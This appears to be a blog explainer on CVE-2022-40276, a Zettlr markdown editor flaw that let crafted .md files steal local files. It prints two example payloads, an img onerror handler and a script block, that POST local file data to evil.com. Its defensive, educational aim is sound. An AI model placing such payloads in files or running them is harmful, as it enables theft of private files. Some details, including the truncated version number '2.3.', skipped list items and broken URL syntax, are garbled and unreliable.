Zettlr is a popular open-source markdown editor. It’s used for taking notes, writing research, or managing documents. Many see it as a safe, offline alternative to cloud editors. But back in September 2022, a critical vulnerability—CVE-2022-40276—showed that even markdown-based apps can put your privacy at risk. Here’s how attackers could take advantage of this bug.

What Exactly is CVE-2022-40276?

In version 2.3. of Zettlr, attackers could remotely extract local files from your computer. All they needed was for you to open a malicious markdown (.md) file. This happened because:

The app did not validate or sanitize user-provided markdown content before rendering it.

When you opened a crafted markdown file, malicious code inside the file could run in the app’s context and steal your private files.

Since Zettlr did not block or sanitize embedded scripts, the attacker's code executes.

4. The attacker’s script can access your local files (documents, browser data, etc.) via JavaScript, and send them to a remote server.

Here’s a simplified example of what might live inside a malicious .md file

# Innocent Title

Hello! Here's a fun image:

<img src="file:///C:/Users/YourUser/Documents/secret.txt" id="stealMe" style="display:none" onerror="
  fetch('https://evil.com/steal';, {
    method: 'POST',
    body: this.src
  });
">

A more advanced attacker might attempt to

- Use the FileReader API in a <script> tag (if scripts are not blocked).

Why Did This Happen? (The Role of CSP)

Normally, apps that display rich content (like markdown) use Content Security Policies (CSP) to block malicious scripts and content. If CSP is missing or weak, attackers can run arbitrary JavaScript in your app—even if it's just a markdown editor!

Read more about CSP on MDN

Exploit Demo: Reading Local Files

Suppose the app (v2.3.) allowed even <script> tags in markdown. This code could send your passwords to an attacker:

<script>
  fetch("file:///C:/Users/YourUser/Documents/passwords.txt")
    .then(r => r.text())
    .then(data => fetch('https://evil.com/steal';, {
        method: 'POST',
        body: data
    }));
</script>


Even if script tags are *not* allowed, there are many tricky ways to force the renderer (often using Electron or Chromium under the hood) to mishandle other tags—like iframe, object, or even img.

Official Advisory & Fix

- The Zettlr authors acknowledged the security flaw here.
- Fixed in Zettlr v2.3.1 and later.
- The fix: Later versions sanitize or block embedded scripts and set a proper Content Security Policy.

Never open markdown files from untrusted sources, just like with email attachments.

3. Be cautious of markdown files that render strange images, HTML tags, or requests for you to "enable scripts."

References

- CVE-2022-40276 at NVD
- Zettlr Security Advisory
- Zettlr 2.3.1 Release Notes
- Mozilla: Content Security Policy (CSP)

Final Thoughts

Markdown is simple—but parsing and displaying it safely is not simple. Zettlr’s vulnerability reminds us: Apps that display user content must treat any file as potentially hostile. Stay up to date, and be careful with files, even when using "offline" tools.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/05/2022 01:26:00 UTC